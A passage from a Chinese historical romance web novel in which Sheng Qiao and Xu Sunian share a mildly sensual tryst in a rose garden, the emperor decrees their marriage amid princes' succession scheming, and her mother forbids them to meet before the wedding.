耳朵忽然被温热包裹,盛乔从未体会过这样的感觉,骤然冲击之下,双腿发软,险些叫出声来。
徐肃年像是早有预料,一手紧紧勾着她的腰,一手在往上捂住她的嘴,将她虚弱的呻。吟全部包裹珍藏。
徐肃年松开她的耳朵,低低嘘了一声,“会被人听到。”
因为离得太近,温热的呼吸几乎将她的耳朵完全包裹,盛乔觉得自己像是泡进了温泉里,浑身酥麻,飘飘然地连站都站不起来。
她想让徐肃年将她松开,可根本发不出任何声音,只能被他强硬的揽着,然后越陷越深。
不知过了多久,终于再也听不到外间的脚步声,盛乔喘息着去掰徐肃年的手,想从他的怀抱脱身。
徐肃年也怕自己会过火,他倒是无所谓,小娘子还是脸皮薄要面子的,于是将人微微松开了些。
盛乔感觉到腰间禁锢的力道放轻之后,立刻伸手在他的胸口狠狠地捶了一下,“混蛋!”
她骂人的词汇量实在匮乏,骂来骂去也只有这一句。
徐肃年早就被她骂习惯了,也不还嘴,只故意往外看了看,然后小声问:“轻些,你不怕被人听到?”
盛乔立刻紧张起来,下意识捂住自己的嘴巴,但一抬头触到徐肃年含笑的眼睛,立刻就知道自己被骗了,她愈发恼怒,使劲在徐肃年的胸口上捶了几下。
不痛不痒的,徐肃年任由她发泄,等她气够了,才伸手摸了摸她的头发,问道:“疼不疼?”
盛乔鼓着嘴巴不说话,徐肃年勾了勾唇,抬手从身旁折下一枝蔷薇花,然后细心地去除根茎上的倒刺,递给盛乔,说:“过来时就看到你在摘花,很喜欢这蔷薇花吗?”
盛乔硬邦邦地哼了一声,“不喜欢。”
她故意不伸手去接,由着徐肃年的手停在半空,以此表达自己的不满。
徐肃年也不恼,轻笑着帮她捋了捋额前的碎发,然后将那支蔷薇一点点插进她的鬓发间。
他能看出来,盛乔今日是特意打扮过一番的,娇嫩的绿蔷薇当真是锦上添花,为她更添了几分明艳。
“怎么跑到这儿来了?”徐肃年终于把这话问了出来。
一会儿还有宴会,当着许多宾客的面,徐肃年怕和盛乔说不上几句话,于是特意在咏雪斋等了等。
咏雪斋是从长公主的花厅出来之后,通往花园的必经之地,因此特意在这等。
等雪绒送盛乔出来之后,一定会看到他,到时候一定会带着盛乔到咏雪斋和他说话。
不料盛乔竟然是自己一个人出来的,且出来之后根本没往他坐着的方向看一眼,很快就被不远处的花园吸引了注意力。
毕竟长公主还在,今日又有宾客到府,徐肃年也不敢表现得太过明显,于是特意等了等才追上去。
没想到就这一会儿的功夫,竟然就找不到盛乔了。
丹宁公主府占地足有一
坊之大,后花园亦是宽阔繁复,徐肃年循着四周绕来绕去地找了好久,才终于在这蔷薇园里瞧见她。
只是这蔷薇园偏僻,他实在不知盛乔怎么自己一个人跑到这儿来了。
盛乔又哪好意思说自己是迷路了,干脆点了点头,“没错,我就是喜欢蔷薇花。”
徐肃年了然地点了点头,然后说:“如此,待我们成亲后,就在院子里也种满蔷薇,如何?”
怎么就忽然提到大婚了,盛乔有些不好意思,又有些担心,陛下现下还没有指婚,他们到底能不能成亲还不一定呢。
可是在这个时候,她不想把这话说出来扫兴。
可徐肃年却像是早知道她心里在想什么似的,语气笃定地安慰,“放心,不会的。”
盛乔抬眼看他,徐肃年捧着她的脸,在她的额上轻轻落下一吻,仿佛什么印记似的。
“你是我的,阿乔。”
他的语气温柔而坚定,盛乔多日以来躁郁的心情仿佛一下子被抚平了似的,她点点头,然后说:“那你也是我的。”
争强好胜的小娘子。
徐肃年听到这话没忍住勾了勾唇,然后伸手在她耳朵上点了点,说:“早就是你的了。”
说出这话的是自己了,可当徐肃年真的应下这话时,盛乔又有些不好意思。
像是想把自己的脸藏起来似的,盛乔搂着徐肃年的腰使劲蹭了蹭,动作间腕子上的镯子磕到了徐肃年的蹀躞带,发出哐当一声脆响。
盛乔平日是不喜欢带镯子的,总觉得太沉压腕子,因此更偏好于各式各样的软镯或手链。
这会忽然有个镯子,她还一时没反应过来,收回手看了一眼,才想起那是长公主送给她的。
她想,幸亏这里足够偏僻,并无人会看到他们现在的模样,否则长公主会怎么想她呢。
徐肃年自然也瞧见了那个镯子,也认出了那个镯子是丹宁长公主的。
他看着盛乔的忽然低落起来的表情,就知道她心里在想什么,但还是问道:“在想什么?”
盛乔一向是个坦诚直率的人,听到徐肃年问,便坦然地将自己心里的想法说了出来,“只是觉得,有些对不起丹宁长公主殿下,她根本不知道我曾经逃婚,更不知道我们之间发生的事,若是她知道了,只怕就不会像现在这么喜欢我了。”
徐肃年听了这话却没安慰,反而又抛出来一个问题,“阿乔,我一直想问你,你我当时并未见过,你到底为何要逃婚?”
听到这个问题,盛乔有些不好意思,她觉得这件事自己做的很不对,道听途说,而不是真的去了解徐肃年到底是怎样的人。
她小声地向徐肃年道歉。
徐肃年听着笑了笑,说:“嗯,所以你觉得我是一个心狠手辣,杀人不眨眼的恶魔。”
她可没这么说哦。
盛乔既茫然又无辜地眨眨眼,不知道徐肃年是怎么知道自己当初真的是这么想的。
徐肃年笑了一声,说:“我们刚刚离开长安的时候,你感染风寒,我替你把脉的时候,你一边做梦一边说梦话,梦里一直都在骂我。”
竟然是这样!
盛乔双颊顿时染上绯红,一副不好意思再见徐肃年的样子,埋着头不想说话。
徐肃年见她这样有趣,忍不住逗她,“怎么?小娘子现在不想承认了?”
虽说当时是自己不好,可退一步来讲,徐肃年那难道就没有错吗?
他好好的当官,却把名声搞成那个糟糕样子。
这难道不该怪他自己?
何况她可不止是道听途说。
盛乔忍不住争辩:“我又不光是道听途说。我见过你,你确实……”
“你见过我?”徐肃年听到这话不由得怔了怔,“你在哪见过我?”
盛乔说:“就在大理寺啊。”
“那次是我三哥夜值,每次我三哥当值,我三嫂都会来给他送些补汤来,那天我三嫂恰好有事,我便替她来了,然后你当时正好也在,我经过一处,听到你在审犯人,犯人叫得好惨,然后我回去做了好几天的噩梦,梦到我们成亲之后,你每天都难道对待我。”
虽然这话里说的是他,但徐肃年却颇有些忍俊不禁,“然后呢?”
“然后我就逃跑了,又遇到了你。”说到这些事,盛乔还是有些气,哼道,“没想到你居然是个骗子。”
徐肃年没有反驳,只是看着她,笑问:“那怎么办?已经把小娘子骗到手了。”
这是什么话。
盛乔听了耳根有些微微的泛红,忍不住反驳道:“根本没骗到,我随时都有可能反悔的。”
徐肃年挑了挑眉,“反悔?反悔之后呢?难不成你还想嫁给别人?”
当然不会。
盛乔在心里第一时间的反驳,可是面对徐肃年那似笑非笑的眼睛,仿佛说实话就是认输似的,她嘴硬道:“那有什么不行,凭我燕国公府小娘子的身份,整个长安的郎君都会想娶我的。何况我又长得这么漂亮,谁会不喜欢?”
她夸起自己来,从不吝啬任何言语,就连眼睛里都藏着灼灼的光。
徐肃年最爱她这模样,骄傲的像只抖开毛的小孔雀。
可他却不放过她,单手勾着她的脖颈,然后一路往下,轻轻拨开她松垮的领口,在她白嫩的肩膀上亲了一口。
他这个动作实在是把盛乔吓到了,这可还是在外面,他竟然,竟然就这么……
盛乔漂亮的眼睛里写满了惊慌,想要说什么,又被徐肃年飞快堵住嘴,惩罚般地勾住舌尖。
无论亲多少次,盛乔总是会被亲到腿软,她勾着徐肃年的脖颈,然后无意识地发出满足的哼声。
徐肃年松开她的唇,但仍紧紧地握着她的腰,语气里带着点疑惑,“小娘子倾国倾城,自然人人追捧,可他们也像我一样,能让小娘子这么满意吗?”
这人说话简直没有半点遮拦,盛乔听不下去,不得已用手使劲捂住他的嘴。
徐肃年并不挣扎,由着她发泄。
但到底一会儿还有宴会,也不能闹得太出格,两人又厮闹了一会儿,徐肃年主动举手投降,“好了不闹了,都是我错了。眼看快要午时了,你不能再在这儿待下去了。”
一开始盛乔还惦记着宴会的事,但方才和他闹了半天,盛乔已经将此事忘了个干干净净。
此时听到徐肃年的话,她才猛然想起他们两个这是在丹宁公主府,而不是洛州的济善堂。
她仓皇松开徐肃年的脖子,然后下意识就去摸自己的嘴唇。
虽然闹了那么半天,但是徐肃年其实没有一刻失了理智,更不会拿盛乔的清誉开玩笑。
“放心罢,不会有人瞧出来的。”
徐肃年一边说着,一边替她整理微乱的鬓发和衣领。
盛乔原本心里还有些担心,可此时听到徐肃年的话,再加上他这动作,也不知怎么了,忽然鬼使神差地说了一句,“徐肃年,你有没有觉得,我们好像在偷情啊。”
便是徐肃年听到这话,也没忍住呛了一下,然后瞬间咳嗽了起来。
周围原本十分安静,因此徐肃年的咳嗽声异常明显,盛乔说完那句
话本就懊恼,看到徐肃年这个反应,更是觉得无地自容。
她都说了什么呀!
她羞赧地捂住脸,觉得自己不想见人了。
不料徐肃年止住咳嗽之后,竟然对她说:“可见你注定只是我的,即便嫁了别人,我也会翻进你的院墙,和小娘子在蔷薇花下偷偷亲热。”
就像是在说要吃饭喝水一样,徐肃年这话说的极为自然,甚至眼睛都不带眨一下的。
盛乔却没他那么厚的脸皮,即便两人分开之后,她想到徐肃年这话,在宴上还有些心不在焉的。
虽然她狠狠地骂了徐肃年一句,可这男人仿佛根本不知道什么是礼义廉耻,反而在她骂完之后又跟了一句,“正好,日后我去找你,记得把窗户给我留下。”
她果然还是低估了他。
盛乔不敢相信这男人居然能说出这么不知羞的话来。
更不敢相信自己竟然真的信了他这话。
公主府宴席结束之后,盛乔先送阿娘回了明辉堂,然后才一个人回到自己的荣雪园。
其实她不爱出门,不是真的不喜欢出门,只是不喜欢参加宴会,不喜欢交际。
今日宴上宾客众多,她认识的没几个,虽然不用每个都打招呼,可有时即便只是朝人家笑一笑,盛乔就觉得十分耗费精神,因此回到自己的院子之后,难得想要歇一个午觉。
她歪在美人榻前,琉璃担心她被风扑着,想要帮她关上窗子。
盛乔却蓦地想到了徐肃年对她说得那番话,下意识制止住了她的动作,“等等……”
琉璃一下子停住,然后回头看她,“怎么了小娘子,这窗户正对着您,可不能开着,您若是嫌热,奴婢把其他窗户都打开,或是再给您在屋子里摆一个冰鉴。”
而盛乔在下意识的动作之后,便立刻后悔了。
她满脑子都在想什么啊,一定是被徐肃年带坏了。
把身后的软枕当成徐肃年的脸,盛乔恨恨地砸了两下泄愤。
幸亏别人不知道她在想什么,否则她只怕一辈子没脸见人了。
可即便如此,盛乔也觉得自己的脸热得发烫,她翻了个身,捂着双颊把脸埋进枕头里,然后闷闷地吩咐,“把所有窗户都关上!一扇也不许开!”
小娘子最近这是怎么了?
琉璃觉得自己越来越看不懂自家的小娘子了,这么热的天,把窗户全关上难道不觉得闷吗?
可是看盛乔此时把脸埋到枕头上的动作,又忍不住想,大约是不闷罢。
于是,她虽然不懂为何,但还是很听话地照做了,乖乖地把所有窗户全都关上了。
“那奴婢不打扰小娘子休息了。”
琉璃福身退下。
但正如她心中所想,天气实在太热,纵然屋里摆着冰鉴,但屋子的门窗全都紧紧关着,实在有些闷热不透气。
盛乔趴了一会儿就有些受不了了,脖颈之间都渗出了汗意。
她一骨碌爬起来,到底还是将旁边的几扇窗户全都推开了,心里却想着:就算开着窗户,她也不会让徐肃年进来的。
不过她的念头并没有实施的机会,因为徐肃年今天并没有来找她。
宴会结束之后,徐肃年便直接递了牌子入宫。
为表信重,崇安帝曾经赏给他一块随时出入皇宫的玉牌,即便无诏也能面圣。
不过徐肃年从前从未用过。
这是他第一次用这块牌子。
虽然皇帝现在暂停了他的官职,甚至不许他上朝,可见到这块玉令根本没人敢拦,就连庆和也没再为难他,拱了拱手说道:“侯爷稍等,奴婢去给您通报一声。”
即便还没进去,徐肃年也能听到里面有说话的声音,想来是皇帝在召见哪位朝臣。
庆和将他带到偏殿,请他稍等。
但今日崇安帝并未为难他,徐肃年没坐下,就在门口等,很快就看到外面有人走过,看着身影有些熟悉,只是隔着竹帘有些看不清。徐肃年眯了眯眼,想出门去看,不料庆和很快就来请他,恭敬道:“侯爷,陛下召您过去。”
走进正殿的时候,崇安帝还在看折子,见到他进来也没放下笔,只轻飘飘地睨了他一眼。
自从洛州回京后,这还是徐肃年第一次见到崇安帝的面,他上前恭恭敬敬地请安,“臣徐肃年参见陛下。”
听到他开口,崇安帝才终于搁下手里的东西,看着他行礼的模样,第一句没叫起,而是说:“瘦了。”
他的语气温和,还带了些许的关切,仿佛还真是那个关爱子侄的长辈。
不过为君者可以关心你,为臣者却不能不识好歹。
徐肃年恭敬俯身,凛声道:“为陛下办差,是微臣职责所在。”
听到这话,崇安帝的脸色变了变,语气也跟着冷淡了下来,“这次差事办的确实不错。”
“谢陛下夸奖……”
不等徐肃年一句话说完,崇安帝便从一旁找出两卷圣旨,摆到了面前,然后看着跪在不远处的徐肃年,说:“朕一向赏罚分明,差事办的好,自然有重赏,不过……”
他点了点那两卷圣旨,“只能选一个。”
“少安,你要哪个?”
他没有说那两卷圣旨里都写着什么,但是他知道,徐肃年心里很清楚。
他的眼神紧紧顶着徐肃年,带着一点试探的犹疑。
他到底为何封赏盛怀章,徐肃年应该很清楚。
只要他清楚,他就应该明白自己的选择。
可没想到的是,徐肃年根本没有任何犹豫,更没有试图与他争取解释什么,只是抬头看了那两卷圣旨一眼,便飞快地领旨谢恩。
他字句铿锵,语气坚定,“臣多谢陛下赐婚。”
第54章 圣旨秦晋之好,择日成婚
“臣多谢陛下赐婚。”
听到徐肃年这句话,崇安帝眼底一寸寸地冷了下来。
徐肃年只当没看见,再度叩首。
君无戏言,崇安帝纵然不喜,但也没有再说什么,只给身边的的小太监递了个眼神。
小太监立时会意,领了圣旨双手交到了徐肃年手上。
崇安帝淡淡地睨了他一眼,摆了摆手,“下去罢。”
“是。”
皇帝的声音明显冷了下来,徐肃年只当没听见,淡定地行礼退出玄元殿。
玄元殿外不远就是皇子读书的勤芳殿,徐肃年经过的时候,正看到有人从勤芳殿走出来。
为首的自然是太子杨遂,纵然如今惠国公府不如从前,但只要皇后不倒,他永远是正宫嫡出。
何况他从出生起就被封为了太子,这么多年被奉承下来,早已习惯了高高在上。
四皇子杨适跟在他身后,明明两人年岁、身量都相仿,但站在杨遂身边,莫名就矮了一头似的。
再后面跟着七皇子杨巡,他年纪还小,才十四岁,出身也不高,逢年过节才能见到皇帝一面,此时小心翼翼地跟在两个兄长后面,大气都不敢出。
主子只有三个,后面跟着太监宫女却是呼啦啦一大堆,徐肃年自然不会注意不到那边的动静。但他是臣子,并不想和皇子们牵扯太多,于是假装没看见,想直接略过去。
没想到太子眼尖,一眼就瞧见了他,“肃年!”
徐肃年心里叹了一声,然后被迫停下步子。
他转身朝几位皇子走去,“太子殿下。”
朝太子行过礼,又转身向四皇子和七皇子行礼,但还没开口,就被太子抬手扶了起来,“肃年,你我都是一家人,不必多礼。”
徐肃年也不和他客气,谢了一声就直起了身。
太子看他过来的方向,又看向他手里捧着的圣旨,说:“肃年刚从洛州回来,还没歇一歇,看来是又领了差事了。”
太子地位不稳,想要寻求盟友也是情理之中,徐肃年既是内戚,又得皇帝宠信,若能得他支持,自然能省不少的事儿。
徐肃年对他的态度并不
意外,微微笑了笑,说:“今日进宫,并不是来谈公事的。”
虽然和徐肃年是表亲,但是太子这些年还是和朱家走得更近一些,徐肃年虽然是丹宁长公主的儿子,可他的父亲只是一介文臣,靠着尚公主才拿到了爵位,实在是不够瞧的。
只是没想到徐肃年竟一路高升,直升到了大理寺卿的位置。
在他任大理寺卿之前,朝廷主管刑狱的三法司一向是默认刑部为首,任何案件都要复核刑部,大理寺只是处理官场一些杂事的。
但这两年崇安帝逐渐地将复核案件的权力交给了徐肃年,大理寺卿看着只是个四品官,实际手中的权力已经要压过正二品的刑部尚书了,刑部衙门也逐渐被边缘化。
而从前的刑部尚书就姓朱,正是太子的小舅舅。
一个年纪轻轻的表弟,上位架空了自己的亲舅舅。
太子先前对徐肃年是警惕和厌烦,如今时过境迁,他反而要巴结徐肃年了。
太子心里不舒服,可是面上并未表现出来,听到徐肃年这冷淡的回话也没有生气,反而故意作出一脚好奇的样子,问道:“不是公事,难道还是为了私事不成?”
身后的四皇子原本是一句话都没说的,听到这话也不由得插了一句,打趣道:“肃年表哥年岁比我大,可我早已定了亲,下个月就要成亲了,表哥的婚事还没有影子。今日表哥说是为了私事,难不成是父皇给表哥赐了婚?”
徐肃年并不是爱与人提起自己私事的性子,但此时此刻却没有遮掩,而是恰到好处地露出一分不好意思来。
太子见此也有些好奇,“难不成真是赐婚?是哪家的小娘子,这么有福气?”
徐肃年对着太子微微一笑,然后淡定地回答道:“蒙两位殿下关切,的确是陛下赐了婚。妻家正是燕国公府的盛三娘子。”
“燕国公府?”四皇子先出声,语气有些疑惑地问,“只听说盛家先前的两位娘子都不是俗人,夫家亦是百里挑一,原来他家还有位三娘子吗?”
徐肃年很会装,一副不知内情的语气,回答道:“臣对燕国公府也并不了解,承蒙陛下赐婚,才知盛家三娘子是谁。”
太子听到这话的脸色却很是难看,险些没在外人面前敛住神色。
直到徐肃年奇怪地看向他时,他才轻咳一声敛了眉目,回答道:“原来如此,这么好的一桩亲事,孤要先恭喜表弟了。”
徐肃年只当什么都不知道,微微拱手,应道:“谢殿下。臣还要回府禀报母亲,便先行告退了。”
太子原本叫住他,就是想和他多说几句话,或是干脆把他叫到东宫去,好好地攀一攀关系,可在听到皇上将盛三娘子许给徐肃年之后,瞬间没了这份心情。
盛家这位三娘子一向低调,甚至杨适都不知道还有这么个人,那父皇是怎么知道的?
就算他惦记徐肃年这个外甥,想给他赐婚,可这满长安城难道还缺出身高贵的女郎吗?
实在不行,他的二妹也是豆蔻年华尚未指婚,为何偏偏要把盛三娘子许给他。
难道是那日母后特意召了徐肃年入宫的事,被父皇察觉了,他知道了他们的心思,所以特意将盛乔早早许了出去。
他的确有想要拉拢燕国公府的意思,可归根结底只是想要稳固自己在朝中的地位。
父皇却偏要生生断了这条路,难不成是真的有废太子之心吗?
太子拳头紧握,一口牙都要咬碎了,可是面对着杨适和一帮下人,他并不想表现出来,于是在徐肃年提出告辞之后,宽和地朝他笑了笑,“快回去罢,这等喜事,的确应当早点告知丹宁姑姑。”
四皇子杨适站在太子身边,听到他这话,微微侧目看了他一眼。
虽然太子并未表现出什么特别的情绪,但杨适如何不了解他?
能让太子这般反应了,看来东宫也是早早觊觎燕国公府。
他想争储,自然不会不关注燕国公府,盛怀义这个宝贝女儿他自然也知道,甚至也起过心思。
父皇子息不多,还活着的,成年的只有他和太子,他母家身份不低,但相较于权倾朝野的惠国公府来说,还是低了不少。因此父皇这两年明里暗里地都在扶植他。
杨适并不傻,知道父皇如此并不是想要改立他做太子,只是想要打压太子,从而稳固自己的位置。
对于崇安帝而言,他与其说是儿子,更像是一枚棋子。
不过这棋子他做的是心甘情愿,毕竟赢棋之后,实打实的好处是落在他的手里。
可他近些年虽然在朝中有了些位置,但说到底并不是太子,不能像他一样张扬,否则下一个被打压的就成了他了。
因此他并不能像太子一样,想到什么就去做什么。
他想拉拢燕国公府,最好的办法当然是娶了那位盛三娘。可他早有婚约,且这婚约是父皇订的。
妻族是无根无基的豪门,父皇的意思很明显,就是不希望他成为第二个太子。
他想讨得父皇欢心和信重,就不能有任何违逆父皇的意思。
因此他是不可能明面上求皇帝赐婚的,何况燕国公府还在私底下与徐肃年先订了婚,甚至连聘礼都下了。
幸而还未真正成婚,一切还都有转圜的余地,于是他叫人暗暗地去调查这位小娘子的日常喜好,不料喜好没差到,反而得知了另一件事——
这位盛小娘子仿佛不在家中。
虽然最后也没查到他去了哪,可是他知道,前一阵燕国公是去了一趟洛州的,再之后就又有了盛娘子的消息。
想必这段日子,那位盛三娘子八成就在洛州。
更巧的是,徐肃年也是刚从洛州回来。
他们两个会不会提前有了什么交集呢?
杨适不能确定,毕竟这一切都是猜测,并无证据。只是方才他听到徐肃年的那番话之后,心里的猜测才终于落了地。
徐肃年并不是个情绪外露的人,也一向不与他们皇子相交,方才却一反常态地说出了赐婚的事,定然有原因。
一定是他知道了太子私下的动作,这才故意说出赐婚的事。
或许太子真的会由此断了对盛家小娘子的心思,可是有了燕国公府这个岳家的徐肃年,他却是绝不能放过的。
若是真的让徐肃年站到太子的那个阵营里去,届时太子结局如何,倒还真有点说不定了。
杨遂直到回宫之后,仍在苦思冥想。
看徐肃年那个样子,应当对他那位未婚妻还是很有情意的,否则也不必做出今日的态度。
或许那位盛三娘子,会是其中关键-
赐婚的圣旨传到燕国公府的时候,盛乔正在睡觉,琉璃急急忙忙闯进门,“小娘子!宫里有大太监过来传旨,国公和夫人请您过去接旨。”
又有旨意?
上次盛乔还有些激动,以为是赐婚的圣旨,最后却是给二叔的封赏。这还没过去多久,难道二叔又立大功了吗?
盛乔匆匆换了一身衣裳,等到中庭时,全家人已经到齐了。
和上次一样,盛乔拎着裙摆就要跪到三哥三嫂的旁边,低调地跪下便是了。
不料站在阶上的庆和却在这时笑着开口,“是三娘子来了罢。”
原本盛怀义也不知圣旨为何,但见庆和如此态度吗,瞬间便明白了。
“三娘。”当着外人的面,盛怀义并未唤盛乔的闺名,只是朝她招了招手,“过来,到阿爹这儿来。”
听到这话,所有人都有些惊讶,盛乔也是一愣,转而又立刻反应过来,快步走到盛怀义的身旁。
庆和笑着点点头,然后抖开圣旨——
“门下:
朕上膺天命,统御万民……”
盛乔伏跪在地上,心下期待又紧张。明明庆和的每一个字都念得清清楚楚,可她却像是听不清了似的,大脑一片空白。
“二人年岁相宜,品性相合,朕躬览其行,实如佳偶天成,特赐二人缔结秦晋之好,择吉日完婚……”
等到庆和念完最后一个字,便收起圣旨,朝她笑了笑,“三娘子,您快领旨谢恩罢。”
盛乔这才回过神,稳着声
音接过圣旨,她并无经验,只回想起从前学过的那些礼节,跟在父母身后俯身,说话时声音还是抖的,“臣女谢恩。”
庆和上前一步,扶起盛怀义,说:“虽然圣旨上没订婚期,但是陛下爱重国公爷,特意让礼部择了日子,说是十月初九,正是个宜嫁娶的好日子。”
站起身后,其实盛乔还有些恍惚,跟在郑夫人身边,只听到一句十月初九。
那不是离现在只有不到四个月了吗?
第55章 计划婚前不能见面!
接了圣旨,盛怀义亲自将庆和送出了府门。
剩下的人都没有跟着,却也没人离开,齐齐立在中庭,显然还没从刚才的圣旨里缓过神来。
家里的人都知道盛乔和端阳侯徐肃年的婚事,也知道盛乔为此逃婚,至于后续如何,就没人再去过问。
毕竟盛乔一向乖巧听话,可为此都闹到洛州去了,也知道她心里是有多抗拒这桩婚事。
如今回长安也才半个来月,竟然直接惊动了陛下,一句话没说直接赐了婚。
崔氏和赵氏两个女眷不知内里,盛泽和盛淙却都是知道当时父亲是为何要匆匆将盛乔嫁给徐肃年的,崇安帝试图将他们的小妹嫁入后宫,以达到拉拢盛家的目的。
因此此时两人不光震惊,心里更有几分窃喜,陛下下了圣旨为二人赐婚,岂不是说明,阿乔再不必进宫了。
只是这徐肃年……
盛泽在礼部为官,平时和徐肃年并不相熟,对于盛乔和徐肃年在洛州的事也并不知情。因此听到这道圣旨,惊喜之余,还有些微微的担心。
倒是盛淙知道内情,且对徐肃年印象很是不错,听到圣旨后狠狠松了口气。
一家人各有心思,但惟有一点都是一样的,他们只希望盛乔过得好。
最后还是郑夫人主动开口缓和了一下气氛,说道:“怎么都这幅表情,咱们阿乔长大了,都该高兴才是。”
说着她朝盛泽说道:“大郎,回头给你二叔和二婶去封信,告知他阿乔要成亲的事,看他届时能不能赶回来。”
听到郑夫人这个轻松的语气,盛泽也莫名松了口气,立刻点头应下,“是,儿子知道了。”
郑夫人笑了笑,然后对他们说道:“好了,都别戳在这了,意晚还怀着身孕,别在这晒着了。还有三郎,最近几日不是忙么,难得今天休沐一日,回去好好休息罢。若姮,你替阿娘好好照顾她。”
“是。”
听到这话,大家也都明白郑夫人是有话想单独对盛乔说,于是都很有眼力见地应声退下。
这回院子里就剩下盛乔一个人。
郑夫人瞧她一眼,揉了揉她的脑袋,说:“走罢,阿娘送你回去。”
盛乔直觉阿娘是有话想对她说的,却不知道她是想说什么。
直等回到荣雪园后,郑夫人跟着她走进卧房,母子俩人拉着手在榻上坐下。
郑夫人牵着女儿的手,犹豫了好半晌,才问道:“阿乔,你实话同阿娘讲,你对徐肃年,到底是什么心思?”
盛乔不好意思,羞怯地低了头。
“害羞什么,这屋子里就咱们两个人。和阿娘还有什么话不好说的?”
郑夫人点了点盛乔的额头,盛乔脑袋被点的晃了晃,她轻咬了下嘴唇,可到底是说不出口,只点了点头。
这动作没头没尾的,但是郑夫人已经看懂了,心里常常叹了口气。
盛家繁盛至今,何止百年氏族,祖上曾有子弟因浪荡好色惹出事端,后来便留有家训,四十无子方可纳妾。
因此无论是盛怀义还是盛怀章,亦或者是盛乔的几个兄长,除了正妻之外,都没有其他女人。
府中关系简单,说亲也是千挑万选,无论男女,不求高门贵族,只挑性情温和柔顺的人,以防后宅生事。
因此盛乔打小的生长环境极为简单,兄嫂姐姐们也都宠着她纵着她,由得她天真烂漫的长大。
郑夫人没觉得阿乔这个性子不好,可眼下她要成婚,郑夫人便忍不住要担心起来。
那日她带阿乔去丹宁公主府参加宴会,盛乔给丹宁长公主请过安后,便先行离开了主院,说是到后花园逛逛。但直到宴会开始前,她都没有找到盛乔的影子。
等在宴会上再见时,虽然阿乔看着没有什么不对,但她毕竟是阿乔的亲娘,最了解这个女儿不过了,哪怕阿乔只是微微地抿一下唇,她也能看出不对劲来。
再一想徐肃年当时离开前那个意味深长的眼神,郑夫人还有什么不明白的。
她毕竟是过来人,知道有情男女会有多么眷恋缱绻,随着年岁愈大,她和自己的丈夫盛怀义之间的感情趋于平缓稳定,她享受这样的安稳,但有时也会羡慕这样年轻和热情。
不过,当深入其中的是自己女儿,她的羡慕便成了担心。
她并不希望女儿过于深陷。
“阿乔,你和端阳侯……”
她想说些什么,但看着女儿天真俏丽的模样,她还是把话咽了回去,只道:“婚期离着不远了,最近这段时间在家好好休息。”
盛乔抿唇点了点头。
郑夫人又与她说了几句,最后嘱咐道:“婚前男女不能见面,这几个月你就不要和他见面了,知道吗?”
除了那次逃婚的事,盛乔平时都很乖巧,此时也是很听话地点了点头,“我记住了,阿娘。”
郑夫人放了心,起身要走,又被盛乔叫住,“阿娘……”
郑夫人转身看她,“怎么了?”
盛乔看着有些犹豫,咬了咬唇,还是把话说了出来,“阿娘,对不起……”
其实她对逃婚的决定并不后悔,只是回来以后,看到阿娘消瘦的面孔颇有些愧疚,尤其折腾来折腾去,结果还是和从前一样,她心里就更过意不去了。
郑夫人却说:“抱歉什么?”
她重新坐回去,坐到盛乔身边,拉着她的手,认真道:“以前因为家里的事,总是太过拘束你,这次去了一趟洛州,反而觉得我们阿乔长大了。”
其实阿乔一直是个性子活泼跳脱的姑娘,只是盛家家训,一直教育后世子女要为人低调,尤其在阿乔模样实在太过出挑,这些年宫中两位涉储的皇子都逐渐开始选妃,便愈发不出门。
对于此事,郑夫人一向是有些愧疚的,没想到此行从洛州回来,阿乔反而像变了个人似的,不再是大门不出二门不迈的小娘子,而是个落落大方的大姑娘了。
“如果不是这次出门,阿娘哪知道你还能有这么大的本事,和你表姐撑起一座济善堂?阿乔,你长大了,阿娘看着欣慰,也替你高兴。至于什么愧疚抱歉的话,就再也不要说了,知不知道?”
“若是再和阿娘说这些,阿娘可要生气了。”
盛乔红着眼睛点了点头,“我知道了。”
郑夫人掏出帕子替盛乔擦了擦眼泪,然后说:“早在你们刚从洛州回来的时候,你阿爹就和我提起过,说要在长安也帮你开一座书院,让你自己当山长。”
“只是这书院可不是你攒的那些私房钱能养的起的,正好阿娘给你预备的嫁妆里有几间位置不错的铺子,这几个月阿娘先给你练手,若是你一年内能经营的稳赚不赔,阿娘自己掏私房钱给你开书院,如何?”
听到这话,盛乔顿时眼睛一亮,再无心去想那些乱七八糟的事,“阿娘说得可是真的?”
“当然。”郑夫人笑着捏了捏盛乔的耳垂,“阿娘从不骗人。”
这话对盛乔的诱惑力实在太大,方才她还满脑子赐婚的事,这会儿听到郑夫人的话,她已经在脑子里开始拨算盘了。
郑夫人看着她的表情,就知道她在想什么,她笑着站起身,说:“好好休息罢,阿娘回头就叫人把房契和地契给你送过来。”
盛乔抱着她的手臂撒娇,“阿娘最好了!”
郑夫人果然言出必行,第二天就叫人整理自己名下的几个铺子,挑出了几个位置合适,买卖营生都很好的,叫人把一应契约都拿给了盛乔。
盛乔一一看了,一共三间,其中有两间是水粉铺子,还有一间是金银铺。
虽然盛乔从前并未亲手经营过这些铺子,不懂买卖,但这几间铺子里卖得东西盛乔并不陌生,至少不会被底下人蒙骗了过去。
有了郑夫人的承诺,盛乔是干劲十足,先是去实地考察了一下这几间铺子,然后又叫人搬了最近两年的账本和采买明细,一样一样地看。
她当然有不懂的,攒起来去问郑夫人或是两个嫂子,总之每天都过得十分充实。
她这一忙起来,反倒是将徐肃年忽略了,几次徐肃年半夜偷偷来她院子翻墙,她连窗户都没有开。
徐肃年不明白,“这又是怎么了?”
盛乔却很有理由,“我阿娘说了,在未大婚之前,男女之间是不能见面的。”
徐肃年心想这是哪来的陈规陋习,偏偏这小娘子奉为圭臬,一副如果他闯进来,他们的婚事就不能美满的样子。
徐肃年实在拿她没办法,可离着他们的婚事还有四个月,难道四个月都不见面?
徐肃年可忍不了。
不能在燕国公府见面,可若是偶遇的话,总不能不见罢。
这日,盛乔一大早就带着琉璃去了长安城最大的水粉铺子,香容阁。
阿娘告诉她,若是不知自己怎么做,就先看别人是怎么做的。
因此她特意叫琥珀他们把长安城最大、生意最好的几间铺子都列了出来,准备一间间的逛一遍。
这香容阁不仅面积最大,来往的客人也最多,盛乔光是在里面看了一圈都觉得累了,逛了整整一上午,盛乔带琉璃到对面的茶楼里喝茶。
上楼梯的时候顾着和身旁的琉璃说话,没注意看前面的人,转过来的时候不小心撞到了一个人的身上。
盛乔捂着额头哎呦一声,正想要与人道歉,还没开口,忽然从对面伸出一只手来将她扶住。
盛乔看着那手,将要说出口的话瞬间被噎住,“你怎……”
后半句还没问出来,却见立在跟前的男人像是不认识她似的,客气地朝她揖了一礼,挑眉笑问:“这位小娘子,可摔着不曾?”
